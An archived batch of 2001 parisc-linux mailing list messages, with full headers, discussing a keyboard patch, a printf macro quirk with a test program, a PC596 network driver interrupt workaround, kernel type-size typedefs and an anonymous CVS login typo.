In-Reply-To: <E14fxTj-00036B-00@chrysl>; from willy@ldl.fc.hp.com on Wed, Mar 21, 2001 at 10:17:43PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10605

On Wed, Mar 21, 2001 at 10:17:43PM -0700, Matthew Wilcox wrote:
> and it seems to be because the array we're initialising is of size 0
> (128 - SC_LIM).  the following patch seems to DTRT, but i would appreciate
> someone who has a (non-HIL) keyboard testing it and confirming it works.

If no-one comes back to me by next weekend and says `no it doesn't work',
i'm going to commit this anyway and be unsympathetic if it has broken.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The printf fiasco
Date: Mon, 26 Mar 2001 00:55:38 +0100 (BST)
Lines: 12
Approved: news@gmane.org
Message-ID: <E14hKMI-0000iy-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619978 17064 80.91.229.3 (22 Nov 2014 01:32:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 16:52:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A2C7482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 16:52:39 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14hKMI-0000iy-00
	for parisc-linux@parisc-linux.org; Mon, 26 Mar 2001 00:55:42 +0100
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10606

Actually you cant take the address. Instead your 

	(void *)printf

generates
	(void *)fprintf

and your program core dumps mysteriously at run time





From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The printf fiasco
Date: Mon, 26 Mar 2001 01:02:39 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20010326010239.P31126@parcelfarce.linux.theplanet.co.uk>
References: <E14hKMI-0000iy-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619978 17067 80.91.229.3 (22 Nov 2014 01:32:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 17:02:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EB5A482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 17:02:48 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14hKT1-0002UB-00; Mon, 26 Mar 2001 01:02:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14hKMI-0000iy-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Mon, Mar 26, 2001 at 12:55:38AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10607

On Mon, Mar 26, 2001 at 12:55:38AM +0100, Alan Cox wrote:
> Actually you cant take the address. Instead your 
> 
> 	(void *)printf
> 
> generates
> 	(void *)fprintf
> 
> and your program core dumps mysteriously at run time

No it doesn't.

# cat ./def-test.c 
#include <stdio.h>

int main(void)
{
        void *a = (void *)printf;
        void *b = (void *)fprintf;
#undef printf
        void *c = (void *)printf;

        printf("a = %p, b = %p, c = %p\n", a, b, c);
        return 0;
}

# gcc -O2 -Wall -W def-test.c -o def-test
# gcc --version
3.0
# ./def-test 
a = 0x26f2, b = 0x271a, c = 0x26f2

that's because

# if __GNUC_PREREQ (2,97)
#  define printf(fmt, args...) fprintf (stdout, fmt, ##args)
# endif

doesn't match printf, but only printf(...)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbrad@beavis.ybsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard cleanup
Date: Sun, 25 Mar 2001 17:46:57 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20010325174657.A12358@beavis.ybsoft.com>
References: <E14fxTj-00036B-00@chrysl> <20010326003312.N31126@parcelfarce.linux.theplanet.co.uk>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619978 17071 80.91.229.3 (22 Nov 2014 01:32:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 17:47:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id DF917482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Mar 2001 17:47:08 -0700 (MST)
Original-Received: (qmail 36668 invoked by alias); 26 Mar 2001 00:47:05 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 36431 invoked by uid 0); 26 Mar 2001 00:46:58 -0000
Original-Received: from lametoby.ybsoft.com (HELO beavis.ybsoft.com) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 26 Mar 2001 00:46:58 -0000
Original-Received: from rbrad by beavis.ybsoft.com with local (Exim 3.20 #1 (Debian))
	id 14hL9t-00053N-00; Sun, 25 Mar 2001 17:46:57 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <20010326003312.N31126@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Mon, Mar 26, 2001 at 12:33:12AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10608

This patch worked fine for me on my 712/80 with a ps2 keyboard.

- Ryan

On Mon, Mar 26, 2001 at 12:33:12AM +0100, Matthew Wilcox wrote:
> On Wed, Mar 21, 2001 at 10:17:43PM -0700, Matthew Wilcox wrote:
> > and it seems to be because the array we're initialising is of size 0
> > (128 - SC_LIM).  the following patch seems to DTRT, but i would appreciate
> > someone who has a (non-HIL) keyboard testing it and confirming it works.
> 
> If no-one comes back to me by next weekend and says `no it doesn't work',
> i'm going to commit this anyway and be unsympathetic if it has broken.
> 
> -- 
> Revolutions do not require corporate support.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Stewart" <pdksh@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help with 710 Network Driver
Date: Tue, 27 Mar 2001 01:38:11
Lines: 90
Approved: news@gmane.org
Message-ID: <F168pWd7KKQpQq5pnee00000138@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_69f4_186c_2e0b"
X-Trace: ger.gmane.org 1416619978 17073 80.91.229.3 (22 Nov 2014 01:32:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rhirst@linuxcare.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 26 18:38:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f168.law14.hotmail.com [64.4.21.168])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2079482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Mar 2001 18:38:16 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 26 Mar 2001 17:38:12 -0800
Original-Received: from 129.80.22.140 by lw14fd.law14.hotmail.msn.com with HTTP;	Tue, 27 Mar 2001 01:38:11 GMT
X-Originating-IP: [129.80.22.140]
X-OriginalArrivalTime: 27 Mar 2001 01:38:12.0123 (UTC) FILETIME=[95B51EB0:01C0B65E]
Xref: news.gmane.org gmane.linux.ports.parisc:10609

This is a multi-part message in MIME format.

------=_NextPart_000_69f4_186c_2e0b
Content-Type: text/plain; format=flowed

I found this in the pmk1.1 micro kernel source for mklinux regarding the 
intel ethernet chip. It appears the chip/system is droping the CX interrupt 
at a very high rate on the 705/710. To correct this the micro kernel driver 
times the last time a CX interrupt was sent I belive. Check it out and maybe 
you can make heads of it Ricahard.

BTW what is a CX interrupt.

Thank You


It is part of the if_596.c ethernet driver code.
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

------=_NextPart_000_69f4_186c_2e0b
Content-Type: text/plain; name="pc596xmt_bug.txt"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="pc596xmt_bug.txt"


#ifdef	PC596XMT_BUG
/*
* The PC596 board on hp700's apparently can lose CX interrupts
* (i.e. interrupts when transmit is complete).  We used to deal
* with this by a 3-second watchdog timeout.  This is not adequate
* for the newer, smaller, all-on-one-board hp710's and hp705's;
* these newer machines lose many more CX interrupts when busy,
* seriously degrading network performance.
*
* A simple datapoint illustrates this more clearly.  A 730 which
* transmitted 4.7 million packets lost 21 CX interrupts.  A 710
* which transmitted 134 thousand packets lost 139 interrupts.
*
* When PC596XMT_BUG is #define'd: On packet transmission, determine
* how long to wait for CX interrupt.  When a CX interrupt arrives,
* clear this timer.  After each call to hardclock() (see "trap.c"),
* if the current time exceeds our timer, set the timer's "tv_sec"
* field to "-1" and create a LAN interrupt.
*
* Note: these data structures are accessed in hardclock(); hence
* they are not part of `pc_softc_t'.
*
* Note: If pc586_waitxmt is too small then you'll end up declaring
* tx interrupts lost too quickly (hardware may still be retransmitting
* due to collisions).  When that happens you'll walk on-top of the
* hardware tx buffer and trash the packet the hardware is still trying
* to put on the wire.
*
* Simple version of the hardware backoff alg:
*
* while (retries < MAX)
*   wait 2**min(retries,10) * slot time
*
* By default MAX == 15 and the slot time is ~50us.  Compute it out
* and it would seem that a packet could live in the hardware for
* about 332750us.  Round it an even 350000 for a little slack.
*
*/
struct timeval pc586_toutxmt[NLAN];	/* last time packet xmit'd */
long pc586_waitxmt = 350000;		/* us. to wait b4 declaring CX lost */
int pc586_eir[NLAN];			/* prochpa lan interrupt register */

#define pc586inton(unit) \
    { \
	extern int asp2procibit[]; \
	register int ibit = aspitab(INT_LAN, SPLLAN, pc586intr , unit); \
	if (ibit > 0 && asp2procibit[ibit] > 0) \
		pc586_eir[unit] = asp2procibit[ibit]; \
	else \
		pc586_eir[unit] = 0; \
    }
#define pc586intoff(unit) \
    { \
	aspitab(INT_LAN, SPLLAN, (void (*)(int))NULL, unit); \
	pc586_eir[unit] = 0; \
	timerclear(&pc586_toutxmt[unit]); \
    }
#else	/* !PC596XMT_BUG */


------=_NextPart_000_69f4_186c_2e0b--




From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Stewart" <pdksh@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help with 710 Network Driver
Date: Tue, 27 Mar 2001 01:38:22
Lines: 30
Approved: news@gmane.org
Message-ID: <F202TljBOh8s4KWiGtX0000005b@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_37cc_1890_64ea"
X-Trace: ger.gmane.org 1416619979 17074 80.91.229.3 (22 Nov 2014 01:32:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rhirst@linuxcare.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 26 18:38:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f202.law14.hotmail.com [64.4.21.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54C9C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Mar 2001 18:38:26 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 26 Mar 2001 17:38:23 -0800
Original-Received: from 129.80.22.140 by lw14fd.law14.hotmail.msn.com with HTTP;	Tue, 27 Mar 2001 01:38:22 GMT
X-Originating-IP: [129.80.22.140]
X-OriginalArrivalTime: 27 Mar 2001 01:38:23.0063 (UTC) FILETIME=[9C3A6E70:01C0B65E]
Xref: news.gmane.org gmane.linux.ports.parisc:10610

This is a multi-part message in MIME format.

------=_NextPart_000_37cc_1890_64ea
Content-Type: text/plain; format=flowed

I found this in the pmk1.1 micro kernel source for mklinux regarding the 
intel ethernet chip. It appears the chip/system is droping the CX interrupt 
at a very high rate on the 705/710. To correct this the micro kernel driver 
times the last time a CX interrupt was sent I belive. Check it out and maybe 
you can make heads of it Ricahard.

BTW what is a CX interrupt.

Thank You


It is part of the if_596.c ethernet driver code.
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

------=_NextPart_000_37cc_1890_64ea
Content-Type: text/plain; name="pc596xmt_bug.txt"; format=flowed
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="pc596xmt_bug.txt"


------=_NextPart_000_37cc_1890_64ea--




From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Type sizes
Date: Wed, 28 Mar 2001 06:00:00 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010328060000.F7738@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619979 17076 80.91.229.3 (22 Nov 2014 01:32:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 27 22:00:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D93C5482A
	for <parisc-linux@parisc-linux.org>; Tue, 27 Mar 2001 22:00:19 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14i83s-0006E4-00
	for parisc-linux@parisc-linux.org; Wed, 28 Mar 2001 06:00:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10611

What was the reasoning behind:

/* Note these change from narrow to wide kernels */
#ifdef __LP64__
typedef unsigned long           __kernel_size_t;
typedef long                    __kernel_ssize_t;
typedef long                    __kernel_ptrdiff_t;
typedef long                    __kernel_time_t;
#else
typedef unsigned int            __kernel_size_t;
typedef int                     __kernel_ssize_t;
typedef int                     __kernel_ptrdiff_t;
typedef int                     __kernel_time_t;
#endif

in <asm/posix_types.h> ?

on a 32-bit kernel, sizeof(long) == sizeof(int), so why can't we just use
the first set of typedefs?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Type sizes
Date: Wed, 28 Mar 2001 15:24:23 +1000 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103281520130.21990-100000@front.linuxcare.com.au>
References: <20010328060000.F7738@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619979 17078 80.91.229.3 (22 Nov 2014 01:32:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 27 22:24:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 148F1482A
	for <parisc-linux@parisc-linux.org>; Tue, 27 Mar 2001 22:24:35 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA00430;
	Wed, 28 Mar 2001 15:24:23 +1000
In-Reply-To: <20010328060000.F7738@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10612

On Wed, 28 Mar 2001, Matthew Wilcox wrote:

> on a 32-bit kernel, sizeof(long) == sizeof(int), so why can't we just use
> the first set of typedefs?

It avoids lots and lots of gcc warning messages compiling the kernel.  gcc
makes the fine distinction that long != int, even if they are the same
physical size.  size_t on pa32 is unsigned int but on pa64 is
unsigned long, and gcc knows about this for its builtin string functions.

Alan
-- 
Linuxcare






From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a new (and free) C++ compiler for hppa!
Date: Wed, 28 Mar 2001 10:41:45 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <3AC1A3C9.F94899D6@lufmech.rwth-aachen.de>
References: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de> <3A757FB9.6DCD3A91@linuxcare.com> <3A757F68.1833548@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619980 17081 80.91.229.3 (22 Nov 2014 01:33:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:00 +0000 (UTC)
To: Jane Vinet <jvinet@linuxcare.com>,
	parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 01:42:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97B0F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 01:42:16 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA32401
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Mar 2001 01:36:41 -0700
Original-Received: (qmail 22104 invoked by uid 15267); 28 Mar 2001 08:41:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22047 invoked from network); 28 Mar 2001 08:41:58 -0000
Original-Received: from karman.lufmech.rwth-aachen.de (HELO lufmech.rwth-aachen.de) (@134.130.177.1)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2001 08:41:58 -0000
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id KAA15678; Wed, 28 Mar 2001 10:41:45 +0200 (METDST)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10613

Of course I am talking about gcc-3.0, but I am not sure if
it will come on that platform. My experience with
gcc on hpux is: better buld it with gcc as a starting point
(hen and egg problem) This is why I really want an access to
the cvs server of the puffin group, in the hope that puffin-gcc
bootstraps on a vanilla system.

Back to the nitty gritty:

I reported a failure of anonymous cvs access on this ML
some weeks ago (Mon, 29 Jan 2001).
It is still impossible for me to log in.

It may be that I am too stupid to do it right, but then please help me:
I did the cvs login as described, but anonymous login failed for some
unknown reason.

any idea?

> cvs --version

Concurrent Versions System (CVS) 1.11 (client/server)

> cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisccv login
anonymous
(Logging in to anonymous@puffin.external.hp.com)
CVS password:
cvs login: authorization failed: server puffin.external.hp.com rejected
access to /home/cvs/parisccv for user anonymous


Markus








From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a new (and free) C++ compiler for hppa!
Date: Wed, 28 Mar 2001 10:38:01 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20010328103801.G30046@linuxcare.com>
References: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de> <3A757FB9.6DCD3A91@linuxcare.com> <3A757F68.1833548@lufmech.rwth-aachen.de> <3AC1A3C9.F94899D6@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619980 17082 80.91.229.3 (22 Nov 2014 01:33:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:00 +0000 (UTC)
Cc: Jane Vinet <jvinet@linuxcare.com>,
	parisc-linux@thepuffingroup.com
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 02:38:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63117482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 02:38:15 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA32585
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Mar 2001 02:32:40 -0700
Original-Received: (qmail 9297 invoked by uid 15267); 28 Mar 2001 09:38:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9283 invoked from network); 28 Mar 2001 09:38:11 -0000
Original-Received: from pc117-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.117)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2001 09:38:11 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BC61BB007; Wed, 28 Mar 2001 10:38:01 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3AC1A3C9.F94899D6@lufmech.rwth-aachen.de>; from markus@lufmech.rwth-aachen.de on Wed, Mar 28, 2001 at 10:41:45AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10614

On Wed, Mar 28, 2001 at 10:41:45AM +0200, Markus Werle wrote:
> > cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisccv login
> anonymous
> (Logging in to anonymous@puffin.external.hp.com)
> CVS password:
> cvs login: authorization failed: server puffin.external.hp.com rejected
> access to /home/cvs/parisccv for user anonymous

A simple

cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc co gcc

works for me.  Don't know where you got the 'parisccv' part of your
command line from.

[rhirst@rhirst rhirst]$ cvs --version

Concurrent Versions System (CVS) 1.10.7 (client/server)

Copyright (c) 1989-1998 Brian Berliner, david d `zoo' zuhn, 
                        Jeff Polk, and other authors

CVS may be copied only under the terms of the GNU General Public License,
a copy of which can be found with the CVS distribution kit.

Specify the --help option for further information about CVS


Richard





From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a new (and free) C++ compiler for hppa!
Date: Wed, 28 Mar 2001 11:44:47 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <3AC1B28F.4109BF70@lufmech.rwth-aachen.de>
References: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de> <3A757FB9.6DCD3A91@linuxcare.com> <3A757F68.1833548@lufmech.rwth-aachen.de> <3AC1A3C9.F94899D6@lufmech.rwth-aachen.de> <20010328103801.G30046@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619980 17084 80.91.229.3 (22 Nov 2014 01:33:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:00 +0000 (UTC)
Cc: Jane Vinet <jvinet@linuxcare.com>,
	parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 28 02:44:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EA35482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 28 Mar 2001 02:44:55 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA32602
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Mar 2001 02:39:20 -0700
Original-Received: (qmail 15235 invoked by uid 15267); 28 Mar 2001 09:44:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15209 invoked from network); 28 Mar 2001 09:44:51 -0000
Original-Received: from karman.lufmech.rwth-aachen.de (HELO lufmech.rwth-aachen.de) (@134.130.177.1)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2001 09:44:51 -0000
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id LAA16177; Wed, 28 Mar 2001 11:44:47 +0200 (METDST)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10615

Richard Hirst wrote:

> cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc co gcc
>
> works for me.  Don't know where you got the 'parisccv' part of your
> command line from.

My fault.  A typo.
Thanks for Your answer.

Markus





From - Thu Nov 08 21:17:02 2018
X-Mozilla-Status: 0001
